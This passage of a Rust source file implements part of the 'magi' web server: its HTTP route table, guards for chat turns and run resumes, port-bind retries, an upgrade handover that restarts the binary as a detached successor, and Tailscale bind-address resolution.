875    /// Claim a run for a resume, on the same reasoning as
876    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
877    /// disconnected phone does not wedge the run until the server restarts.
878    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
879        let mut live = self
880            .resuming
881            .lock()
882            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
883        if !live.insert(id.to_owned()) {
884            return Err(ApiError::conflict(format!(
885                "run {id} is already being resumed"
886            )));
887        }
888        Ok(ResumeGuard {
889            run: id.to_owned(),
890            resuming: Arc::clone(&self.resuming),
891        })
892    }
893
894    /// The router, with this state baked in.
895    ///
896    /// The three front-end files get one explicit route each rather than a
897    /// path parameter, so there is no traversal surface to get wrong: the set
898    /// of servable paths is the set written here. The asset route below is the
899    /// one exception and the only place in this server where a client names a
900    /// file; it is why [`valid_asset_name`] is checked before a path is built.
901    pub fn router(self) -> Router {
902        Router::new()
903            .route("/", get(index))
904            .route("/app.css", get(app_css))
905            .route("/app.js", get(app_js))
906            .route("/api/health", get(health))
907            .route("/api/loop", get(loop_get).post(loop_post))
908            .route("/api/upgrade", post(upgrade_post))
909            .route("/api/runs", get(runs_list))
910            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
911            .route("/api/runs/{id}/report", get(run_report))
912            .route("/api/runs/{id}/report.json", get(run_report_json))
913            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
914            .route("/api/runs/{id}/fold", post(run_fold))
915            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
916            .route("/api/runs/{id}/resume", post(run_resume))
917            .route("/api/queue", get(queue_list))
918            .route("/api/search", get(search_get))
919            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
920            .route("/api/stats", get(stats_get))
921            .route("/api/repos", get(repos_list))
922            .route("/api/settings", get(settings_get))
923            .route("/api/settings/roles", put(settings_put_roles))
924            .route("/api/queue/{id}/hold", post(queue_hold))
925            .route("/api/queue/{id}/release", post(queue_release))
926            .route("/api/queue/{id}/priority", post(queue_priority))
927            .route("/api/queue/{id}/urgent", post(queue_urgent))
928            .route("/api/queue/{id}/implementers", post(queue_implementers))
929            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
930            .route("/api/queue/{id}/edit", post(queue_edit))
931            .route("/api/queue/{id}/done", post(queue_done))
932            .route("/api/questions", get(questions_list))
933            .route("/api/questions/{id}/answer", post(question_answer))
934            .route("/api/questions/{id}/say", post(question_say))
935            .route("/api/questions/{id}/consult", post(question_consult))
936            .route("/api/questions/{id}/panel", get(question_panel))
937            // The same asset, reachable from inside the panel by its bare
938            // filename. A document served at `.../panel` resolves `shot.png`
939            // to `.../shot.png`, which is not the asset route, so a panel
940            // written the way its author was told to write it showed broken
941            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
942            // it - deliberately - so the fix is that the panel's own URL ends
943            // in a filename and its siblings are the assets.
944            .route("/api/questions/{id}/panel/index.html", get(question_panel))
945            .route("/api/questions/{id}/panel/{name}", get(question_asset))
946            .route("/api/questions/{id}/asset/{name}", get(question_asset))
947            .route("/api/notifications", get(notifications_list))
948            .route("/api/notifications/read-all", post(notifications_read_all))
949            .route("/api/notifications/{id}/read", post(notification_read))
950            .route(
951                "/api/notifications/{id}/dismiss",
952                post(notification_dismiss),
953            )
954            .route("/api/talks", get(talks_list).post(talk_post))
955            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
956            .route("/api/talks/{id}/say", post(talk_say))
957            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
958            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
959            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
960            .route("/api/talks/{id}/agent", post(talk_agent))
961            .route("/api/talks/{id}/persona", post(talk_persona))
962            .route("/api/talks/{id}/implementers", post(talk_implementers))
963            .route("/api/talks/{id}/close", post(talk_close))
964            .route("/api/talks/{id}/reopen", post(talk_reopen))
965            // `DefaultBodyLimit` is raised only on this one route - every
966            // other route on this server answers in a few kilobytes, and
967            // widening the crate-wide default for all of them just because
968            // one accepts a picture would let any other handler be handed
969            // a multi-megabyte body it never expects.
970            .route(
971                "/api/talks/{id}/attachments",
972                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
973            )
974            .route(
975                "/api/talks/{id}/attachments/{att}",
976                get(talk_attachment_get),
977            )
978            .route("/api/talks/{id}/avatar", get(talk_avatar))
979            .route("/avatars/operator.svg", get(operator_avatar))
980            .route("/avatars/magi", get(magi_avatar))
981            .route(
982                "/api/magi-icon",
983                get(magi_icon_get)
984                    .put(magi_icon_put)
985                    .delete(magi_icon_delete),
986            )
987            .route("/api/events", get(events))
988            .with_state(Arc::new(self))
989    }
990}
991
992/// What a chat request is told while an upgrade is parking and the request
993/// cannot be queued as a draft.
994const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
995
996/// One talk's turn slot, released on drop.
997///
998/// A guard rather than a matching `remove` at the end of the handler, because
999/// the handler has several early returns and one `await` that can be cancelled
1000/// out from under it. A leaked id is a talk nobody can talk to again.
1001#[derive(Debug)]
1002struct TalkTurnGuard {
1003    talk: String,
1004    turns: Arc<Mutex<TalkTurns>>,
1005    released: bool,
1006    /// The cross-process half of the slot; dropped with the guard.
1007    lease: Option<crate::talk::TurnLease>,
1008}
1009
1010/// In-memory turn ownership plus the queue generation observed by a drainer.
1011///
1012/// The generation changes only after a durable queued draft is written and its
1013/// caller finds the turn busy. That lets the loop run filesystem work outside
1014/// this mutex while still making the final empty-check/release atomic with a
1015/// concurrent queue handoff.
1016#[derive(Debug, Default)]
1017struct TalkTurns {
1018    live: HashSet<String>,
1019    queued: HashMap<String, u64>,
1020    /// Set while an upgrade hand-over is parking: no turn may start, so the
1021    /// set in `live` can only shrink. Cleared again if the hand-over ends
1022    /// without exiting the process.
1023    parking: bool,
1024}
1025
1026/// The atomic initial-state decision made by
1027/// [`Ui::begin_talk_turn_unless_pending`].
1028enum TalkTurnStart {
1029    Claimed(TalkTurnGuard),
1030    Busy,
1031    /// Another process holds the turn lease. Unlike `Busy` there is no local
1032    /// drain loop that would answer a queued draft, so the caller refuses.
1033    Foreign,
1034    Pending,
1035}
1036
1037impl TalkTurnGuard {
1038    /// Does this guard still own the on-disk lease? A transient failure to
1039    /// check counts as owning: the next beat decides. A guard that lost it
1040    /// must not start another turn on the same session.
1041    fn owns(&self) -> bool {
1042        self.lease
1043            .as_ref()
1044            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1045    }
1046
1047    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1048    /// than the lease's TTL still reads as held to other processes.
1049    async fn respond(
1050        &self,
1051        talk: &mut Talk,
1052        talks: &Talks,
1053        cfg: &Config,
1054        text: &str,
1055    ) -> anyhow::Result<()> {
1056        let lease = self
1057            .lease
1058            .as_ref()
1059            .context("the turn guard no longer holds its lease")?;
1060        talk::respond(lease, talk, talks, cfg, text).await
1061    }
1062
1063    /// Release while the caller already holds the claim mutex, closing the
1064    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1065    fn release(mut self, live: &mut TalkTurns) {
1066        // The on-disk lease goes first: while `live` still names the talk, no
1067        // local claim can start, so nobody observes the slot free but the
1068        // lease held.
1069        self.lease = None;
1070        live.live.remove(&self.talk);
1071        live.queued.remove(&self.talk);
1072        self.released = true;
1073    }
1074}
1075
1076impl Drop for TalkTurnGuard {
1077    fn drop(&mut self) {
1078        if self.released {
1079            return;
1080        }
1081        // Lease first, then the in-process slot (see `release`).
1082        drop(self.lease.take());
1083        if let Ok(mut live) = self.turns.lock() {
1084            live.live.remove(&self.talk);
1085            live.queued.remove(&self.talk);
1086        }
1087    }
1088}
1089
1090/// Releases a resume claim, so a run is resumable again after the attempt.
1091struct ResumeGuard {
1092    run: String,
1093    resuming: Arc<Mutex<HashSet<String>>>,
1094}
1095
1096impl Drop for ResumeGuard {
1097    fn drop(&mut self) {
1098        if let Ok(mut live) = self.resuming.lock() {
1099            live.remove(&self.run);
1100        }
1101    }
1102}
1103
1104/// Bind the port, waiting briefly for a predecessor to let go of it.
1105///
1106/// A restart hands the address from one process to the next, and the old one
1107/// holds its listener until it unwinds. A single `bind` can lose that race,
1108/// and for a restart triggered from a phone that means the deck never comes
1109/// back with no terminal around to say why.
1110///
1111/// Bounded, and only for the one error a wait can fix: anything else fails at
1112/// once, because retrying it would turn a clear message into a silence.
1113async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1114    const WINDOW: Duration = Duration::from_secs(10);
1115    const GAP: Duration = Duration::from_millis(250);
1116
1117    let deadline = std::time::Instant::now() + WINDOW;
1118    let mut said = false;
1119    loop {
1120        match tokio::net::TcpListener::bind(socket).await {
1121            Ok(listener) => return Ok(listener),
1122            Err(e)
1123                if e.kind() == std::io::ErrorKind::AddrInUse
1124                    && std::time::Instant::now() < deadline =>
1125            {
1126                if !said {
1127                    said = true;
1128                    tracing::info!(
1129                        "{socket} is still held - waiting up to {}s for it, \
1130                         which is what a restart looks like from here",
1131                        WINDOW.as_secs()
1132                    );
1133                }
1134                tokio::time::sleep(GAP).await;
1135            }
1136            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1137        }
1138    }
1139}
1140
1141/// Signalled when an upgrade has replaced the binary and the successor should
1142/// take this address over. One per process: there is one address to hand on.
1143static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1144
1145/// Set to `1` on the successor when the loop was running at handover.
1146const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1147
1148/// Whether the environment value asks for the loop to be resumed.
1149fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1150    value.is_some_and(|v| v == "1")
1151}
1152
1153/// Start this binary again with the same arguments, detached.
1154///
1155/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1156/// so the address is already free when the successor binds it. The first
1157/// attempt at this spawned the successor two hundred milliseconds before
1158/// exiting instead, and the released binary - which has no bind retry - died
1159/// on "address already in use" with its stdio sent to null, so the deck
1160/// simply never came back.
1161///
1162/// Detached and without inherited stdio: the successor has to outlive this
1163/// process, and must not hold open a pipe a terminal is waiting on.
1164///
1165/// `resume` tells the successor to start the queue loop, through
1166/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1167/// process inherited from its own predecessor cannot leak into a generation
1168/// that should not resume. The successor's own environment keeps the variable
1169/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1170///
1171/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1172/// than sent to null: a supervisor's redirection only ever held the first
1173/// generation's descriptors, so every later generation logged nowhere. The
1174/// pid of the child is returned so the handover log can name it.
1175fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1176    let exe = std::env::current_exe().context("find this binary")?;
1177    let args: Vec<String> = std::env::args().skip(1).collect();
1178    updater::log_step(
1179        home,
1180        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1181    );
1182    let log_path = home.join(WEB_LOG);
1183    let open_log = || {
1184        std::fs::create_dir_all(home)?;
1185        std::fs::OpenOptions::new()
1186            .create(true)
1187            .append(true)
1188            .open(&log_path)
1189    };
1190    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1191        Ok(pair) => (
1192            std::process::Stdio::from(pair.0),
1193            std::process::Stdio::from(pair.1),
1194        ),
1195        Err(e) => {
1196            updater::log_warn(
1197                home,
1198                &format!(
1199                    "could not open {}: {e}; the successor logs nowhere",
1200                    log_path.display()
1201                ),
1202            );
1203            (std::process::Stdio::null(), std::process::Stdio::null())
1204        }
1205    };
1206
1207    let mut cmd = std::process::Command::new(&exe);
1208    if resume {
1209        cmd.env(RESUME_LOOP_ENV, "1");
1210    } else {
1211        cmd.env_remove(RESUME_LOOP_ENV);
1212    }
1213    cmd.args(&args)
1214        .stdin(std::process::Stdio::null())
1215        .stdout(out)
1216        .stderr(err);
1217    #[cfg(windows)]
1218    {
1219        use std::os::windows::process::CommandExt as _;
1220        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1221        // and Ctrl-C in the old terminal must not reach the successor.
1222        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1223    }
1224    let child = cmd.spawn().context("start the successor")?;
1225    Ok(child.id())
1226}
1227
1228/// File under `<home>` the successor's output is appended to.
1229const WEB_LOG: &str = "web.log";
1230
1231/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1232/// stored by an earlier `notify_one` is consumed by the first poll, so the
1233/// signal is never missed and never wakes a second time.
1234async fn wait_for_handover(signal: &Notify) {
1235    signal.notified().await;
1236}
1237
1238/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1239///
1240/// The server itself owns no state, so nothing here is graceful for the HTTP
1241/// side's sake: the connections go with the dropped listener, which costs a
1242/// phone one change-stream reconnection it was going to make anyway.
1243///
1244/// The signal branch is not optional now that the loop lives in this process.
1245/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1246/// handler is what stops the signal terminating the process - so without a
1247/// branch of our own, the first Ctrl-C after the operator started the loop
1248/// would stop the loop and leave `magi web` listening forever, unkillable
1249/// from the terminal it was started in.
1250///
1251/// What it waits for is the loop, not the sockets. A run in flight is
1252/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1253/// mid-node leaves worktrees, branches and agent sessions behind and throws
1254/// away every agent call already paid for.
1255///
1256/// The server therefore runs on a task of its own rather than inside the
1257/// `select!`: an arm that resolves *drops* the futures the other arms were
1258/// polling, so serving the address from inside one would take the deck down
1259/// at the instant the handover began and keep it down for the whole park -
1260/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1261/// owns the order.
1262pub async fn serve(opts: Opts) -> Result<()> {
1263    let (addr, warning) = resolve_bind(&opts.bind);
1264    if let Some(warning) = warning {
1265        tracing::warn!("{warning}");
1266    }
1267
1268    // Process-global, and therefore set exactly once, here: the report route
1269    // must never emit escape sequences into a browser, and toggling the flag
1270    // per request would race with a concurrent request rendering its own
1271    // report. Startup is the only moment at which no request can observe the
1272    // change. Nothing in the server turns colour back on.
1273    report::set_color(false);
1274
1275    let repo = normalize_default_repo(opts.repo).await;
1276    let ui = Ui::open(repo).with_merge(opts.merge);
1277    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1278    // home to bracket the parking and restarting stages, and `run_update_recheck`
1279    // needs both it and the repo, and by then there is no `ui` left to read
1280    // them from.
1281    let home = ui.home.clone();
1282    let repo = ui.repo.clone();
1283    // Settles a progress record a predecessor left non-terminal - either this
1284    // *is* the successor `spawn_successor` started, or the previous process
1285    // died mid-handover. Before the router starts answering, so the very
1286    // first `/api/health` a phone gets from this process already reflects it.
1287    updater::reconcile_after_restart(&home);
1288    updater::log_step(
1289        &home,
1290        &format!(
1291            "web process started (version {}); handover log {}, successor output {}",
1292            env!("CARGO_PKG_VERSION"),
1293            updater::log_path(&home).display(),
1294            home.join(WEB_LOG).display()
1295        ),
1296    );
1297    updater::spawn_watchdog(home.clone());
1298    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1299    // `spawn_update_check` does at startup only ever runs once: after that,
1300    // `/api/health`'s `update` field - and the phone's "Update & restart"
1301    // button, which reads the very same cache - would stay frozen on
1302    // whatever that single check found, no matter how many releases ship
1303    // afterwards. This keeps it current instead. Detached: it must keep
1304    // going for as long as this process serves, `serve` has nothing to await
1305    // it for, and it exits on its own the moment the process does.
1306    tokio::spawn(run_update_recheck(repo, home.clone()));
1307    let looping = ui.looping();
1308    let turns = ui.turns();
1309    let talk_store = ui.talks.clone();
1310    let socket = SocketAddr::new(addr, opts.port);
1311    let listener = bind_waiting(socket).await?;
1312    let url = format!("http://{addr}:{}", opts.port);
1313    tracing::info!(
1314        "magi web UI on {url} - there is no authentication, so anyone who can \
1315         reach this address can file and hold tasks: the tailnet is the \
1316         security boundary"
1317    );
1318    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1319        tracing::info!("resumed the loop the predecessor was running");
1320    } else {
1321        tracing::info!(
1322            "the queue loop is not running yet - start it from the UI, which is \
1323             the whole reason this process can: nothing in the queue moves until \
1324             something is running the loop"
1325        );
1326    }
1327    if opts.open {
1328        // The URL alone on stdout, for a caller that wants to open it. magi
1329        // does not spawn a browser: on the machine this usually runs on there
1330        // is no display, and a failed launch would be the only output.
1331        println!("{url}");
1332    }
1333
1334    // On its own task, so nothing this function awaits can stop the address
1335    // being answered. `hand_over` is where it is given up.
1336    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1337    let interrupted = async {
1338        if tokio::signal::ctrl_c().await.is_err() {
1339            // No handler on this platform, so there is no signal to act on.
1340            // Never resolving is the safe answer: a failed registration must
1341            // not masquerade as the operator asking for a shutdown and take
1342            // the UI down on startup.
1343            std::future::pending::<()>().await;
1344        }
1345    };
1346    let handover = wait_for_handover(&HANDOVER);
1347    let outcome = tokio::select! {
1348        joined = &mut served => match joined {
1349            Ok(outcome) => outcome.context("serve the web UI"),
1350            Err(e) => Err(e).context("the task serving the web UI ended"),
1351        },
1352        () = interrupted => {
1353            tracing::info!("shutting down the web UI");
1354            finish_loop(&home, &looping, None).await;
1355            Ok(())
1356        }
1357        () = handover => {
1358            updater::log_step(&home, "serve: the select! woke on the handover signal");
1359            let successor_home = home.clone();
1360            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1361            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1362                spawn_successor(&successor_home, resume)
1363            })
1364            .await
1365        }
1366    };
1367    updater::log_step(
1368        &home,
1369        &match &outcome {
1370            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1371            Err(e) => format!("serve: returning an error: {e:#}"),
1372        },
1373    );
1374    outcome
1375}
1376
1377/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1378/// process's own working directory is not a git checkout at all - the
1379/// checkout [`repos::discover_verified`] finds instead.
1380///
1381/// Only the unmodified default is ever replaced: an operator who named a
1382/// directory outright, git checkout or not, gets exactly that directory
1383/// back, and the same story downstream (a talk whose briefing embeds a
1384/// non-git directory, and an agent that has to ask the operator where the
1385/// real repository is) that has always told them so - substituting a guess
1386/// for an explicit answer would be a second, silent opinion about what they
1387/// meant. There is no instruction or task text yet to match against this
1388/// early, so only [`repos::discover_verified`]'s own-repository tier can
1389/// ever settle this - the hint tier never fires here.
1390///
1391/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1392/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1393/// or a git installation that is broken in exactly the way that made the
1394/// original `canonical` check above fail too - so it is re-checked with
1395/// `git::toplevel` before it is ever used in place of the operator's own
1396/// directory.
1397async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1398    if repo != FsPath::new(".") {
1399        return repo;
1400    }
1401    let Ok(canonical) = repo.canonicalize() else {
1402        return repo;
1403    };
1404    if git::toplevel(&canonical).await.is_ok() {
1405        return repo;
1406    }
1407    let Some(home) = dirs::home_dir() else {
1408        return repo;
1409    };
1410    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1411        Some(found) => {
1412            tracing::info!(
1413                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1414                canonical.display(),
1415                found.path.display(),
1416                found.reason,
1417            );
1418            found.path
1419        }
1420        None => repo,
1421    }
1422}
1423
1424/// Park the loop, then release the address, then start the successor.
1425///
1426/// The order is the whole function, and each step is answerable to a failure
1427/// this arrangement has already had:
1428///
1429/// 1. **Park.** The loop was asked to stop by the request that replaced the
1430///    binary, and this waits for it, because killing the graph mid-node
1431///    leaves worktrees, branches and agent sessions behind and throws away
1432///    every agent call already paid for. It takes as long as the node in
1433///    flight - up to `timeout_implement`, an hour by default - and the deck
1434///    goes on answering for all of it, which is the reason `served` is a task
1435///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1436///    first upgrade from a phone that caught a run mid-implement dropped the
1437///    listener the moment it was asked to, and the operator got
1438///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1439///    waiting on and nothing but a process list to say the run was alive.
1440/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1441///    the join resolves only once the task's future has been dropped, so the
1442///    listener is released before the next line. Connections it already
1443///    accepted are served on tasks of their own and wind down asynchronously;
1444///    on some platforms (macOS) they can briefly keep the address busy, and
1445///    the successor's `bind_waiting` absorbs that.
1446/// 3. **Start the successor**, which binds the address this process has just
1447///    let go of - see [`spawn_successor`] for what the other order cost.
1448///
1449/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1450/// reporting, not part of the design: it exists so `/api/health` can say
1451/// "parking, waiting on run X" instead of leaving the phone to guess why the
1452/// deck went quiet, and dropping it would not change the order above.
1453async fn hand_over(
1454    home: &FsPath,
1455    looping: &Mutex<LoopState>,
1456    turns: &Arc<Mutex<TalkTurns>>,
1457    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1458    served: tokio::task::JoinHandle<std::io::Result<()>>,
1459    successor: impl FnOnce(bool) -> Result<u32>,
1460) -> Result<()> {
1461    updater::log_step(home, "hand_over: entered; writing the parking stage");
1462    // The lease and the stage are written as one step, so a reader that sees
1463    // `parking` also finds the proof that hand_over is alive. Dropped on
1464    // every way out.
1465    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1466    if !recorded {
1467        updater::log_warn(
1468            home,
1469            "hand_over: upgrade.json is unreadable; no parking stage",
1470        );
1471    }
1472    // Chat stays open while the loop parks: nothing restarts until it ends,
1473    // and the park can last as long as a node. Only once it is done is the
1474    // slot closed, right before the restart; a turn started earlier is in
1475    // `live` by then, so `finish_talks` waits for it.
1476    finish_loop(home, looping, Some(&mut lease)).await;
1477    let parking = ParkingTurns::begin(turns);
1478    let talks_done = finish_talks(home, turns, talk_wait);
1479    tokio::pin!(talks_done);
1480    let mut beat = tokio::time::interval(LEASE_BEAT);
1481    let (abandoned, waited_for) = loop {
1482        tokio::select! {
1483            left = &mut talks_done => break left,
1484            _ = beat.tick() => lease.beat(),
1485        }
1486    };
1487    drop(lease);
1488    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1489    served.abort();
1490    let _ = served.await;
1491    updater::log_step(home, "hand_over: listener released");
1492    // Read last: the deck answers for the whole park, so an operator's stop
1493    // during the wait must still be honoured by the successor.
1494    let resume = lock_or_recover(looping).resume_after_handover;
1495    match updater::read_progress(home) {
1496        Some(mut progress) => {
1497            progress.advance(updater::Stage::Restarting);
1498            if !abandoned.is_empty() {
1499                progress.detail = Some(format!(
1500                    "handed over while {} still running after {} s",
1501                    updater::talks_phrase(&abandoned),
1502                    waited_for.as_secs()
1503                ));
1504            }
1505            updater::write_progress_logged(home, &progress);
1506        }
1507        None => updater::log_warn(
1508            home,
1509            "hand_over: upgrade.json is unreadable; no restarting stage",
1510        ),
1511    }
1512    updater::log_step(
1513        home,
1514        &format!("hand_over: starting the successor (resume={resume})"),
1515    );
1516    drop(parking);
1517    match successor(resume) {
1518        Ok(pid) => {
1519            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1520            Ok(())
1521        }
1522        Err(e) => {
1523            updater::log_warn(
1524                home,
1525                &format!("hand_over: the successor did not start: {e:#}"),
1526            );
1527            Err(e)
1528        }
1529    }
1530}
1531
1532/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1533/// a turn that runs its full timeout still needs a moment to record its answer.
1534const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1535
1536/// How often the park looks at the chat turns still running.
1537const TALK_POLL: Duration = Duration::from_millis(250);
1538
1539/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1540/// grace. Beyond it a stuck turn must not block the hand-over.
1541fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1542    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1543}
1544
1545/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1546/// the repositories those talks run in (each turn uses its own talk's
1547/// configuration), plus the grace. A talk or config that cannot be read counts
1548/// with the default timeout.
1549fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1550    let default = Config::default().graph.timeout_talk;
1551    let longest = ids
1552        .iter()
1553        .map(|id| {
1554            talks
1555                .get(id)
1556                .ok()
1557                .and_then(|t| Config::discover(&t.repo, None).ok())
1558                .map_or(default, |(c, _)| c.graph.timeout_talk)
1559        })
1560        .max()
1561        .unwrap_or(default);
1562    talk_wait_bound(longest)
1563}
1564
1565/// Stops new chat turns for as long as it lives, so the hand-over only ever
1566/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1567/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1568struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1569
1570impl ParkingTurns {
1571    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1572        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1573        Self(Arc::clone(turns))
1574    }
1575}
1576
1577impl Drop for ParkingTurns {
1578    fn drop(&mut self) {
1579        self.0
1580            .lock()
1581            .unwrap_or_else(PoisonError::into_inner)
1582            .parking = false;
1583    }
1584}
1585
1586/// Wait until no chat turn is running in this process, for at most the longest
1587/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1588/// running when the bound was hit (empty when the turns finished) with the
1589/// bound that applied, after saying so in the upgrade log.
1590async fn finish_talks(
1591    home: &FsPath,
1592    turns: &Mutex<TalkTurns>,
1593    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1594) -> (Vec<String>, Duration) {
1595    let running = || {
1596        let mut ids: Vec<String> = turns
1597            .lock()
1598            .unwrap_or_else(PoisonError::into_inner)
1599            .live
1600            .iter()
1601            .cloned()
1602            .collect();
1603        // A turn another task of this process (the daemon's completion
1604        // notice) or another process runs holds only the on-disk lease.
1605        let talks = talk::Talks::at(home.join("talks"));
1606        for t in talks.list() {
1607            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1608                ids.push(t.id);
1609            }
1610        }
1611        ids.sort();
1612        ids
1613    };
1614    let started = std::time::Instant::now();
1615    let mut seen = Vec::new();
1616    let mut bound = Duration::ZERO;
1617    loop {
1618        let ids = running();
1619        if ids != seen {
1620            bound = bound.max(bound_for(&ids));
1621            if ids.is_empty() {
1622                updater::log_step(home, "finish_talks: no chat turn is running");
1623            } else {
1624                updater::log_step(
1625                    home,
1626                    &format!(
1627                        "finish_talks: waiting for {} to finish",
1628                        updater::talks_phrase(&ids)
1629                    ),
1630                );
1631            }
1632            updater::set_parked_talks(home, &ids);
1633            seen = ids;
1634        }
1635        if seen.is_empty() {
1636            return (Vec::new(), bound);
1637        }
1638        if started.elapsed() >= bound {
1639            updater::log_warn(
1640                home,
1641                &format!(
1642                    "finish_talks: {} still running after {} s; handing over anyway",
1643                    updater::talks_phrase(&seen),
1644                    bound.as_secs()
1645                ),
1646            );
1647            return (seen, bound);
1648        }
1649        tokio::time::sleep(TALK_POLL).await;
1650    }
1651}
1652
1653/// How often `finish_loop` renews the handover lease; well inside
1654/// [`updater::LEASE_TTL_SECS`].
1655const LEASE_BEAT: Duration = Duration::from_secs(20);
1656
1657/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1658///
1659/// The wait is the whole function. Returning from `serve` while a graph is
1660/// mid-node ends the process with worktrees, branches and agent sessions left
1661/// behind and every agent call in that run paid for and thrown away, which is
1662/// exactly what the daemon's own shutdown refuses to do.
1663async fn finish_loop(
1664    home: &FsPath,
1665    state: &Mutex<LoopState>,
1666    mut lease: Option<&mut updater::LeaseGuard>,
1667) {
1668    let live = lock_or_recover(state).live.take();
1669    let Some(live) = live else {
1670        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1671        return;
1672    };
1673    live.stop.stop();
1674    lock_or_recover(state).rev += 1;
1675    updater::log_step(
1676        home,
1677        "finish_loop: waiting for the loop to finish the run in flight",
1678    );
1679    let waited = std::time::Instant::now();
1680    // The task records its own outcome and logs it, so there is nothing to do
1681    // with a join error here but stop waiting.
1682    let mut handle = live.handle;
1683    let mut beat = tokio::time::interval(LEASE_BEAT);
1684    loop {
1685        tokio::select! {
1686            _ = &mut handle => break,
1687            _ = beat.tick() => {
1688                if let Some(lease) = lease.as_deref_mut() {
1689                    lease.beat();
1690                }
1691            }
1692        }
1693    }
1694    updater::log_step(
1695        home,
1696        &format!(
1697            "finish_loop: the loop ended after {:.1}s",
1698            waited.elapsed().as_secs_f32()
1699        ),
1700    );
1701}
1702
1703/// Resolve `--bind` to an address, plus a warning when the answer is not what
1704/// the operator asked for.
1705///
1706/// Split out from [`serve`] because the interesting half - deciding whether
1707/// Tailscale gave us something usable - is testable without opening a socket.
1708pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1709    match bind {
1710        Bind::Addr(addr) => (*addr, None),
1711        Bind::Auto => match tailscale_ip() {
1712            Ok(ip) => (IpAddr::V4(ip), None),
1713            Err(why) => (
1714                IpAddr::V4(Ipv4Addr::LOCALHOST),
1715                Some(format!(
1716                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1717                     local-only and a phone cannot reach it; start Tailscale \
1718                     or pass --bind <addr>"
1719                )),
1720            ),
1721        },
1722    }
1723}
1724
1725/// This machine's Tailscale IPv4, or why there is not one.
1726///
1727/// `tailscale ip -4` is a local call against the running daemon and returns in
1728/// milliseconds, so it is fine to make it synchronously before the server
1729/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1730/// CGNAT block Tailscale assigns from, and anything else on that output would
1731/// be a different tool answering.
1732fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1733    let out = std::process::Command::new("tailscale")
1734        .args(["ip", "-4"])
1735        .quiet()
